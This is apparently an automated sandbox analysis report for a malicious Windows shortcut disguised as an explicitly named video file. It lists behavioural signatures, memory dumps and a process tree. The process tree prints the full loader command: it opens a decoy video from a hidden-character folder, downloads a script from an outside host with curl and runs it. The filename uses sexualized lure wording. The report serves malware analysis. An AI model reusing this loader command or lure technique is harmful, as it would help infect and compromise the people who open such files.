Analysis
- max time kernel
148s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:21
General
- Target PACK8/teenslutdroppanties.mp4.lnk
- Size 691B
- Sample260626-eytfaagy4y
- SHA256 f14d07f85c7ef6360e383d715612471ae9c1fabf0e0b7af69580ad9343b442c7
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of FindShellTrayWindow 24 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutdroppanties.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutdroppanties.mp4)&(curl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://2xx2.org 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://2xx2.org/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2068-7-0x00007FFB22D70000-0x00007FFB22DA4000-memory.dmp
memory/2068-6-0x00007FF773270000-0x00007FF773368000-memory.dmp
memory/2068-11-0x00007FFB1A770000-0x00007FFB1A792000-memory.dmp
memory/2068-8-0x00007FFB1A990000-0x00007FFB1AC46000-memory.dmp
memory/2068-12-0x00007FFB1A740000-0x00007FFB1A76B000-memory.dmp
memory/2068-10-0x00007FFB26700000-0x00007FFB26719000-memory.dmp
memory/2068-9-0x00007FFB271B0000-0x00007FFB271C1000-memory.dmp
memory/2068-15-0x00007FFB1BE20000-0x00007FFB1BE31000-memory.dmp
memory/2068-14-0x00007FFB21120000-0x00007FFB21134000-memory.dmp
memory/2068-13-0x00007FFB1A3B0000-0x00007FFB1A740000-memory.dmp
memory/2068-16-0x00007FFB1A2D0000-0x00007FFB1A3A2000-memory.dmp
memory/2068-18-0x00007FFB19A10000-0x00007FFB19AF8000-memory.dmp
memory/2068-17-0x00007FFB1A030000-0x00007FFB1A2C6000-memory.dmp
memory/2068-22-0x00007FFB19770000-0x00007FFB19788000-memory.dmp
memory/2068-27-0x00007FFB196B0000-0x00007FFB196C1000-memory.dmp
memory/2068-35-0x000001F298140000-0x000001F298346000-memory.dmp
memory/2068-36-0x000001F298350000-0x000001F29880A000-memory.dmp
memory/2068-37-0x00007FFB112A0000-0x00007FFB114E5000-memory.dmp
memory/2068-34-0x00007FFB19290000-0x00007FFB192A2000-memory.dmp
memory/2068-33-0x00007FFB192B0000-0x00007FFB192CB000-memory.dmp
memory/2068-32-0x00007FFB192D0000-0x00007FFB1937B000-memory.dmp
memory/2068-31-0x00007FFB19380000-0x00007FFB193A5000-memory.dmp
memory/2068-30-0x00007FFB193B0000-0x00007FFB193FF000-memory.dmp
memory/2068-29-0x00007FFB19400000-0x00007FFB19498000-memory.dmp
memory/2068-28-0x00007FFB194A0000-0x00007FFB196AB000-memory.dmp
memory/2068-25-0x00007FFB196F0000-0x00007FFB1970A000-memory.dmp
memory/2068-24-0x00007FFB19710000-0x00007FFB1973D000-memory.dmp
memory/2068-23-0x00007FFB19740000-0x00007FFB19766000-memory.dmp
memory/2068-21-0x00007FFB19790000-0x00007FFB197BF000-memory.dmp
memory/2068-20-0x00007FFB19890000-0x00007FFB198D1000-memory.dmp
memory/2068-19-0x00007FFB198E0000-0x00007FFB199C3000-memory.dmp
memory/2068-26-0x00007FFB196D0000-0x00007FFB196E1000-memory.dmp